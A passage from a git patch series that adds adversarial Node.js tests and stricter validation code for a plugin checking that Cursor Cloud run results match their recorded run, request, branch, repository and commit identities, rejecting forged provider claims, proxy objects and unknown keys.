`0700` after creation and do not change process umask. diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs new file mode 100644 index 0000000..28b5a0f --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs @@ -0,0 +1,239 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE, + CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES, + CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + assertCursorCloudResultCorrelationV1, + contentFreeCloudResultSourceFailureV1, + isCursorCloudResultIdentityMismatchV1, + materializeCursorCloudResultSourceV1, + projectCursorCloudResultSourcesV1, +} from '../mcp/v3/cursor-cloud-result-source.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + AGENT_ID, + ASSIGNMENT_ID, + BRANCH, + HEAD_SHA, + HOSTILE_BRANCH, + HOSTILE_PR_URL, + HOSTILE_REPO_URL, + HOSTILE_SHA, + PR_URL, + PROVIDER_RUN_ID, + REPO_URL, + REQUEST_ID, + RUN_ID, + SECRET, + STARTING_SHA, + gitEvidenceFor, + identityFor, + makeStoreRoot, + providerOutput, + removeRoot, +} from './fixtures/r1-cursor-cloud-result-source-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + assert.equal(isCursorCloudResultIdentityMismatchV1(error), CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES.includes(code)); + assert.equal(error.message.includes(HOSTILE_SHA), false); + assert.equal(error.message.includes(HOSTILE_BRANCH), false); + assert.equal(error.message.includes(SECRET), false); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('run, request, and branch identity mismatches fail closed without replay', async () => { + await withStore(async (store) => { + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { run_id: 'run-other-cloud' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'run_identity_mismatch', + 'observed.run_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { assignment_id: 'other-lane' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'assignment_identity_mismatch', + 'observed.assignment_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { request_id: 'cloud-lane:run:9' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'request_identity_mismatch', + 'observed.request_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { provider_run_id: 'run-other' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'provider_run_identity_mismatch', + 'observed.provider_run_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'branch_identity_mismatch', + 'git_evidence.branch', + ); + }); +}); + +test('repository, head, and base mismatches fail closed', async () => { + await withStore(async (store) => { + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ repository_url: HOSTILE_REPO_URL }), + }), + 'repository_identity_mismatch', + 'git_evidence.repository_url', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor({ head_sha: HEAD_SHA }), + git_evidence: gitEvidenceFor({ head_sha: HOSTILE_SHA }), + }), + 'head_identity_mismatch', + 'git_evidence.head_sha', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ starting_sha: HOSTILE_SHA, merge_base_sha: HOSTILE_SHA }), + }), + 'base_identity_mismatch', + 'git_evidence.starting_sha', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ merge_base_sha: HOSTILE_SHA, head_sha: HEAD_SHA }), + }), + 'base_identity_mismatch', + 'git_evidence.merge_base_sha', + ); + }); +}); + +test('correlation rejects request and branch drift without echoing identities', async () => { + const request = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: 'other-request:run:1' }, + git_evidence: gitEvidenceFor(), + }), + 'request_identity_mismatch', + ); + assert.equal(String(request.message).includes(REQUEST_ID), false); + const branch = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { branch: BRANCH, repository_url: REPO_URL }, + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'branch_identity_mismatch', + ); + assert.equal(String(branch.message).includes(HOSTILE_BRANCH), false); + assert.equal(String(branch.message).includes(PR_URL), false); +}); + +test('hostile proxies unknown keys and local providers fail closed', async () => { + await withStore(async (store, root) => { + const { proxy, counts } = countingProxy({ + ...identityFor(), + provider_report: { status: 'finished', output: providerOutput() }, + }); + const proxied = await expectCode(() => materializeCursorCloudResultSourceV1(store, proxy), 'proxy_denied'); + assert.ok(trapTotal(counts) <= 2); + assert.equal(proxied.message.includes(root), false); + + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + replay: true, + provider_report: { status: 'finished', output: 'done' }, + }), + 'unknown_key', + 'options.replay', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor({ provider: 'grok' }), + provider_report: { status: 'finished', output: 'done' }, + }), + 'cursor_cloud_provider_required', + 'options.provider', + ); + const failure = contentFreeCloudResultSourceFailureV1(proxied); + assert.deepEqual(Object.keys(failure), [...CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS]); + assert.equal(failure.schema, CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID); + assert.equal(failure.published, false); + assert.equal(failure.error.message, CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE); + assert.equal(JSON.stringify(failure).includes(SECRET), false); + }); +}); + +test('SDK projector refuses to treat provider output Git claims as observed identity', () => { + const projected = projectCursorCloudResultSourcesV1({ + id: PROVIDER_RUN_ID, + requestId: REQUEST_ID, + agentId: AGENT_ID, + status: 'finished', + result: { + run_id: 'run-forged', + assignment_id: ASSIGNMENT_ID, + request_id: 'forged-request', + branch: HOSTILE_BRANCH, + head_sha: HOSTILE_SHA, + pr_url: HOSTILE_PR_URL, + }, + git: { + branches: [{ repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL }], + head_sha: HEAD_SHA, + starting_sha: STARTING_SHA, + merge_base_sha: STARTING_SHA, + }, + }); + assert.equal(projected.observed.request_id, REQUEST_ID); + assert.equal(projected.observed.provider_run_id, PROVIDER_RUN_ID); + assert.equal(projected.git_evidence.branch, BRANCH); + assert.equal(projected.git_evidence.head_sha, HEAD_SHA); + assert.equal(projected.provider_report.output.branch, HOSTILE_BRANCH); + assert.equal(projected.provider_report.output.head_sha, HOSTILE_SHA); +}); diff --git a/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs b/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs index ceddd27..af43381 100644 --- a/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs @@ -1206,3 +1206,126 @@ test('run-completion wait re-arms when an audited deadline extension is recorded assert.ok(Date.now() - started > originalMs); assert.equal((await readTask(root, 'cloud-deadline-extend')).task.deadline_source, 'extended'); }); + +test('P12 result source binds exact R1 identity without mixing Git facts from provider text', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-bind-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'materialize distinct sources', record: { + id: 'cloud-p12-bind', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + provider_branch: 'cursor/work', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-bind', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-bind', + requestId: options.idempotencyKey, + status: 'finished', + result: 'provider claimed head cccccccccccccccccccccccccccccccccccccccc on cursor/hostile-takeover', + git: { branches: [{ repoUrl: 'https://github.com/example/repo.git', branch: 'cursor/work', prUrl: 'https://github.com/example/repo/pull/12' }] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + const terminal = await runCursorCloudTask({ root, taskId: 'cloud-p12-bind', sdk, apiKey: 'test-key' }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.cursor_cloud_result_source.published, true); + assert.equal(terminal.cursor_cloud_result_source.provider_report.source_kind, 'provider_report'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.source_kind, 'git_evidence'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.branch, 'cursor/work'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.head_sha, null); + assert.equal(JSON.stringify(terminal.cursor_cloud_result_source.git_evidence).includes('hostile-takeover'), false); + assert.match(terminal.cursor_cloud_result_source.provider_report.inline_tail.text, /hostile-takeover/u); +}); + +test('rejects a completion request identity mismatch without replaying the run', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-request-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'reject drifted request', record: { + id: 'cloud-p12-request', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-request', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-request', + requestId: 'cloud-p12-request:run:9', + status: 'finished', + result: 'done', + git: { branches: [] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + await assert.rejects( + runCursorCloudTask({ root, taskId: 'cloud-p12-request', sdk, apiKey: 'test-key' }), + (error) => error.code === 'cursor_run_identity_mismatch', + ); + const task = (await readTask(root, 'cloud-p12-request')).task; + assert.notEqual(task.status, 'completed'); + assert.equal(task.cursor_cloud_result_source, undefined); + assert.doesNotMatch(JSON.stringify(task), /cloud-p12-request:run:9/u); +}); + +test('rejects a completion branch identity mismatch without synthesizing Git from provider text', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-branch-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'reject drifted branch', record: { + id: 'cloud-p12-branch', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + provider_branch: 'cursor/work', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-branch', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-branch', + requestId: options.idempotencyKey, + status: 'finished', + result: 'landed on cursor/work at a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0', + git: { branches: [{ repoUrl: 'https://github.com/example/repo.git', branch: 'cursor/hostile-takeover' }] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + await assert.rejects( + runCursorCloudTask({ root, taskId: 'cloud-p12-branch', sdk, apiKey: 'test-key' }), + (error) => error.code === 'cursor_run_identity_mismatch', + ); + const task = (await readTask(root, 'cloud-p12-branch')).task; + assert.notEqual(task.status, 'completed'); + assert.equal(task.cursor_cloud_result_source, undefined); + assert.doesNotMatch(JSON.stringify(task.error ?? {}), /hostile-takeover/u); +}); From 5e6ca02348c90f837b94d615f1c4dc2625b1f76a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:02:46 +0000 Subject: [PATCH 068/151] fix(cloud): close hostile P12 result-source boundaries --- .../mcp/v3/cursor-cloud-result-source.mjs | 597 ++++++++++++++---- ...r-cloud-result-source-adversarial.test.mjs | 500 +++++++++++++++ .../r1-cursor-cloud-result-source.test.mjs | 31 +- 3 files changed, 1012 insertions(+), 116 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs index 90a3d56..f86b4c2 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs @@ -64,6 +64,7 @@ import { capturedFreeze, capturedIncludes, capturedIsArray, + capturedOwnKeys, capturedTest, isKnownProvider, isModelId, @@ -79,10 +80,12 @@ import { } from './run-manifest.mjs'; import { assertDirectJsonClosure, + assertNotProxy, assertPlainObject, fail, freezeData, hasOwn, + ownDescriptor, ownDataValue, } from './selection-json.mjs'; @@ -150,6 +153,58 @@ const CURSOR_CLOUD_GIT_PROJECTOR_KEYS = capturedFreeze([ ...CURSOR_CLOUD_SDK_GIT_KEYS, ]); +export const CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS = capturedFreeze([ + 'status', + 'result', + 'output', + 'error', + 'truncated', + 'source_truncated', +]); + +export const CURSOR_CLOUD_SDK_RESULT_KEYS = capturedFreeze([ + 'id', + 'requestId', + 'agentId', + 'git', + ...CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS, +]); + +export const CURSOR_CLOUD_RESULT_CORRELATION_KEYS = capturedFreeze([ + 'recorded', + 'observed', + 'git_evidence', +]); + +const CURSOR_CLOUD_TASK_IDENTITY_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'run_idempotency_key', + 'provider_agent_id', + 'provider_run_id', + 'provider_repo_url', + 'provider_repo_identity', + 'provider_branch', + 'starting_ref', + 'head_sha', +]); + +const CURSOR_CLOUD_RECORDED_IDENTITY_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'request_id', + 'provider_run_id', + 'agent_id', + 'branch', + 'repository_identity', + 'repository_url', + 'starting_sha', + 'head_sha', +]); + export const CURSOR_CLOUD_PROVIDER_REPORT_STATUSES = capturedFreeze([ 'finished', 'completed', 'failed', 'cancelled', 'error', ]); @@ -302,7 +357,14 @@ export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST = capturedFreeze( 'options.run_id', 'options.starting_sha', 'provider_report', + 'provider_report.error', + 'provider_report.output', + 'provider_report.source_truncated', 'provenance', + 'recorded', + 'result', + 'task', + 'correlation', 'relative_path', 'root', 'source', @@ -314,6 +376,7 @@ const BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; const REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; const REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; const PR_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const DENSE_ARRAY_INDEX_PATTERN = /^(0|[1-9][0-9]*)$/u; const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ 'buffer', @@ -328,6 +391,7 @@ const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); const JSON_STRINGIFY = JSON.stringify; +const JSON_PARSE = JSON.parse; const STRING = String; const PATH_JOIN = path.join; const PATH_RESOLVE = path.resolve; @@ -342,7 +406,9 @@ const IS_PROXY = utilTypes.isProxy; const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; const NUMBER_IS_FINITE = Number.isFinite; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const ARRAY_PROTOTYPE = Array.prototype; const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; const BUFFER_PROTOTYPE = NodeBuffer.prototype; const OBJECT_PROTOTYPE = Object.prototype; @@ -550,16 +616,222 @@ function parseBooleanFlag(input, key, field) { return flagged === true; } +function inspectOwnKeys(input, field) { + try { + return capturedOwnKeys(input); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('proxy_denied', field, + `${field} keys could not be inspected safely.`); + } +} + +function isDenseArrayIndexKey(key, length) { + if (typeof key !== 'string' || !capturedTest(DENSE_ARRAY_INDEX_PATTERN, key)) return false; + const index = Number(key); + return NUMBER_IS_SAFE_INTEGER(index) && index >= 0 && index < length && STRING(index) === key; +} + +function assertConcreteDenseDirectDataArray(value, field) { + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + let isArray = false; + try { + isArray = capturedIsArray(value); + } catch { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + if (value === null || typeof value !== 'object' || isArray !== true) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + let prototype; + try { + prototype = OBJECT_GET_PROTOTYPE_OF(value); + } catch { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + if (prototype !== ARRAY_PROTOTYPE && prototype !== null) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + const lengthDescriptor = ownDescriptor(value, 'length'); + if (lengthDescriptor === undefined + || lengthDescriptor.enumerable + || lengthDescriptor.get !== undefined + || lengthDescriptor.set !== undefined + || typeof lengthDescriptor.value !== 'number' + || !NUMBER_IS_SAFE_INTEGER(lengthDescriptor.value) + || lengthDescriptor.value < 0) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + const length = lengthDescriptor.value; + const ownKeys = inspectOwnKeys(value, field); + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + failSource('unknown_key', `${field}[symbol]`, + 'Independently observed Git branches carry a symbol key outside the closed result-source vocabulary.'); + } + if (key === 'length') continue; + const descriptor = ownDescriptor(value, key); + if (!isDenseArrayIndexKey(key, length)) { + if (descriptor !== undefined && !descriptor.enumerable) { + failSource('non_enumerable_property_denied', field, + 'Independently observed Git branches carry non-enumerable properties beyond dense indices.'); + } + failSource('unknown_key', field, + 'Independently observed Git branches carry named properties beyond dense indices.'); + } + const memberPath = `${field}[${key}]`; + if (descriptor === undefined || !descriptor.enumerable) { + failSource('non_enumerable_property_denied', memberPath, + `${memberPath} could not be described as an own enumerable data property.`); + } + if (descriptor.get !== undefined || descriptor.set !== undefined) { + failSource('accessor_property_denied', memberPath, + `${memberPath} is an accessor property; result-source data must be direct JSON values and getters are never invoked.`); + } + if (descriptor.value === undefined) { + failSource('own_undefined_denied', memberPath, + `${memberPath} is an own undefined value; omit the element instead of writing undefined.`); + } + if (descriptor.value !== null && (typeof descriptor.value === 'object' || typeof descriptor.value === 'function')) { + assertNotProxy(descriptor.value, memberPath); + } + } + for (let index = 0; index < length; index += 1) { + if (!hasOwn(value, STRING(index))) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + } + return length; +} + +function rejectRecordedMismatchBypassAliases(recorded) { + if (hasOwn(recorded, 'requestId')) { + failSource('unknown_key', 'recorded.requestId', + 'recorded carries a request identity alias outside the closed result-source vocabulary.'); + } + if (hasOwn(recorded, 'branch_name')) { + failSource('unknown_key', 'recorded.branch_name', + 'recorded carries a branch identity alias outside the closed result-source vocabulary.'); + } + if (hasOwn(recorded, 'headSha')) { + failSource('unknown_key', 'recorded.headSha', + 'recorded carries a head identity alias outside the closed result-source vocabulary.'); + } +} + function closedObject(input, allowed, field, label) { assertPlainObject(input, 'invalid_type', field, label); - const keys = sortedCapturedKeys(input); - for (let index = 0; index < keys.length; index += 1) { - if (!capturedIncludes(allowed, keys[index])) { - failSource('unknown_key', `${field}.${keys[index]}`, - `${field}.${keys[index]} is not part of the closed result-source vocabulary.`); + const ownKeys = inspectOwnKeys(input, field); + const names = []; + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + failSource('unknown_key', `${field}[symbol]`, + `${field} carries a symbol key outside the closed result-source vocabulary.`); } + if (!capturedIncludes(allowed, key)) { + failSource('unknown_key', `${field}.${key}`, + `${field}.${key} is not part of the closed result-source vocabulary.`); + } + names.push(key); + } + names.sort(); + return names; +} + +function ownScalar(input, key, field) { + const value = ownDataValue(input, key, field); + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + return value; +} + +function optionalOwnScalar(input, key, field) { + if (!hasOwn(input, key)) return undefined; + const descriptor = ownDescriptor(input, key); + if (descriptor === undefined) return undefined; + if (!descriptor.enumerable) { + failSource('non_enumerable_property_denied', field, + `${field} could not be described as an own enumerable data property.`); + } + if (descriptor.get !== undefined || descriptor.set !== undefined) { + failSource('accessor_property_denied', field, + `${field} is an accessor property; result-source data must be direct JSON values and getters are never invoked.`); + } + const value = descriptor.value; + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + return value; +} + +function cloneOwnedJson(value, field) { + if (value === undefined) return undefined; + if (value === null || typeof value === 'string' || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!NUMBER_IS_FINITE(value)) { + failSource('invalid_type', field, 'JSON number results must be finite.'); + } + return value; + } + if (typeof value !== 'object') { + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be copied into owned data.'); + } + assertNotProxy(value, field); + assertDirectJsonClosure(value, field); + try { + return JSON_PARSE(JSON_STRINGIFY(value)); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be copied into owned data.'); + } +} + +function readExactBoolean(input, key, field) { + const flagged = ownDataValue(input, key, field); + if (flagged !== true && flagged !== false) { + failSource('invalid_type', field, + `${field} must be an exact boolean when present.`); + } + return flagged === true; +} + +function readTruncationAliases(input, field) { + const hasTruncated = hasOwn(input, 'truncated'); + const hasSourceTruncated = hasOwn(input, 'source_truncated'); + if (!hasTruncated && !hasSourceTruncated) return false; + const truncated = hasTruncated + ? readExactBoolean(input, 'truncated', `${field}.source_truncated`) + : null; + const sourceTruncated = hasSourceTruncated + ? readExactBoolean(input, 'source_truncated', `${field}.source_truncated`) + : null; + if (hasTruncated && hasSourceTruncated && truncated !== sourceTruncated) { + failSource('invalid_format', `${field}.source_truncated`, + 'truncated and source_truncated aliases must match when both are present.'); + } + return (sourceTruncated ?? truncated) === true; +} + +function assertNotProxySurface(value, field, label) { + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + failSource('malformed_result', field, label); } - return keys; } function encodeJsonValue(value, field) { @@ -682,12 +954,12 @@ function parseObserved(input) { function parseProviderReport(input) { if (!hasOwn(input, 'provider_report')) { - return freezeData({ + return { status: null, output: undefined, error: null, source_truncated: false, - }); + }; } const report = ownDataValue(input, 'provider_report', 'provider_report'); closedObject(report, CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS, 'provider_report', @@ -700,17 +972,18 @@ function parseProviderReport(input) { 'provider_report.status must be a closed provider-reported status.'); } } - return freezeData({ + return { status, output: hasOwn(report, 'output') ? ownDataValue(report, 'output', 'provider_report.output') : undefined, error: hasOwn(report, 'error') ? ownDataValue(report, 'error', 'provider_report.error') : null, source_truncated: parseBooleanFlag(report, 'source_truncated', 'provider_report.source_truncated'), - }); + }; } function parseGitEvidence(input) { - if (!hasOwn(input, 'git_evidence') || input.git_evidence == null) return null; + if (!hasOwn(input, 'git_evidence')) return null; const git = ownDataValue(input, 'git_evidence', 'git_evidence'); + if (git == null) return null; closedObject(git, CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS, 'git_evidence', 'Independently observed Cursor Cloud Git evidence'); const projected = {}; @@ -856,10 +1129,19 @@ export function isCursorCloudResultIdentityMismatchV1(error) { } export function assertCursorCloudResultCorrelationV1(input) { - assertPlainObject(input, 'invalid_type', 'correlation', 'The Cursor Cloud result correlation'); + closedObject(input, CURSOR_CLOUD_RESULT_CORRELATION_KEYS, 'correlation', + 'The Cursor Cloud result correlation'); const recorded = hasOwn(input, 'recorded') ? ownDataValue(input, 'recorded', 'recorded') - : input; + : {}; + assertPlainObject(recorded, 'invalid_type', 'recorded', 'The recorded Cursor Cloud identity'); + rejectRecordedMismatchBypassAliases(recorded); + closedObject(recorded, CURSOR_CLOUD_RECORDED_IDENTITY_KEYS, 'recorded', + 'The recorded Cursor Cloud identity'); + for (let index = 0; index < CURSOR_CLOUD_RECORDED_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_RECORDED_IDENTITY_KEYS[index]; + if (hasOwn(recorded, key)) optionalOwnScalar(recorded, key, `recorded.${key}`); + } const observed = hasOwn(input, 'observed') ? parseObserved({ observed: ownDataValue(input, 'observed', 'observed') }) : freezeData({}); @@ -867,64 +1149,75 @@ export function assertCursorCloudResultCorrelationV1(input) { ? parseGitEvidence({ git_evidence: ownDataValue(input, 'git_evidence', 'git_evidence') }) : null; - if (typeof recorded.run_id === 'string' && observed.run_id !== undefined) { - assertRunId(recorded.run_id, 'recorded.run_id'); - assertExactIdentity(recorded.run_id, observed.run_id, 'run_identity_mismatch', 'observed.run_id', 'run'); + const recordedRunId = optionalOwnScalar(recorded, 'run_id', 'recorded.run_id'); + if (typeof recordedRunId === 'string' && observed.run_id !== undefined) { + assertRunId(recordedRunId, 'recorded.run_id'); + assertExactIdentity(recordedRunId, observed.run_id, 'run_identity_mismatch', 'observed.run_id', 'run'); } - if (typeof recorded.assignment_id === 'string' && observed.assignment_id !== undefined) { - if (!isAssignmentId(recorded.assignment_id)) { + const recordedAssignmentId = optionalOwnScalar(recorded, 'assignment_id', 'recorded.assignment_id'); + if (typeof recordedAssignmentId === 'string' && observed.assignment_id !== undefined) { + if (!isAssignmentId(recordedAssignmentId)) { failSource('invalid_format', 'recorded.assignment_id', 'recorded.assignment_id violates the assignment-id grammar.'); } assertExactIdentity( - recorded.assignment_id, observed.assignment_id, 'assignment_identity_mismatch', + recordedAssignmentId, observed.assignment_id, 'assignment_identity_mismatch', 'observed.assignment_id', 'assignment', ); } - if (typeof recorded.request_id === 'string' && observed.request_id !== undefined) { - const requestId = assertTokenId(recorded.request_id, 'recorded.request_id', 'request'); + const recordedRequestId = optionalOwnScalar(recorded, 'request_id', 'recorded.request_id'); + if (typeof recordedRequestId === 'string' && observed.request_id !== undefined) { + const requestId = assertTokenId(recordedRequestId, 'recorded.request_id', 'request'); assertExactIdentity( requestId, observed.request_id, 'request_identity_mismatch', 'observed.request_id', 'request', ); } - if (typeof recorded.provider_run_id === 'string' && observed.provider_run_id !== undefined) { + const recordedProviderRunId = optionalOwnScalar(recorded, 'provider_run_id', 'recorded.provider_run_id'); + if (typeof recordedProviderRunId === 'string' && observed.provider_run_id !== undefined) { const providerRunId = assertTokenId( - recorded.provider_run_id, 'recorded.provider_run_id', 'provider run', + recordedProviderRunId, 'recorded.provider_run_id', 'provider run', ); assertExactIdentity( providerRunId, observed.provider_run_id, 'provider_run_identity_mismatch', 'observed.provider_run_id', 'provider run', ); } - if (typeof recorded.agent_id === 'string' && observed.agent_id !== undefined) { - const agentId = assertTokenId(recorded.agent_id, 'recorded.agent_id', 'agent'); + const recordedAgentId = optionalOwnScalar(recorded, 'agent_id', 'recorded.agent_id'); + if (typeof recordedAgentId === 'string' && observed.agent_id !== undefined) { + const agentId = assertTokenId(recordedAgentId, 'recorded.agent_id', 'agent'); assertExactIdentity( agentId, observed.agent_id, 'agent_identity_mismatch', 'observed.agent_id', 'agent', ); } if (git !== null) { - if (typeof recorded.branch === 'string' && git.branch !== undefined) { - const branch = assertBranch(recorded.branch, 'recorded.branch'); + const recordedBranch = optionalOwnScalar(recorded, 'branch', 'recorded.branch'); + if (typeof recordedBranch === 'string' && git.branch !== undefined) { + const branch = assertBranch(recordedBranch, 'recorded.branch'); assertExactIdentity(branch, git.branch, 'branch_identity_mismatch', 'git_evidence.branch', 'branch'); } - if (typeof recorded.repository_identity === 'string' && git.repository_identity !== undefined) { - const repo = assertRepoIdentity(recorded.repository_identity, 'recorded.repository_identity'); + const recordedRepoIdentity = optionalOwnScalar( + recorded, 'repository_identity', 'recorded.repository_identity', + ); + if (typeof recordedRepoIdentity === 'string' && git.repository_identity !== undefined) { + const repo = assertRepoIdentity(recordedRepoIdentity, 'recorded.repository_identity'); assertExactIdentity( repo, git.repository_identity, 'repository_identity_mismatch', 'git_evidence.repository_identity', 'repository', ); } - if (typeof recorded.repository_url === 'string' && git.repository_url !== undefined) { - const url = assertRepoUrl(recorded.repository_url, 'recorded.repository_url'); + const recordedRepoUrl = optionalOwnScalar(recorded, 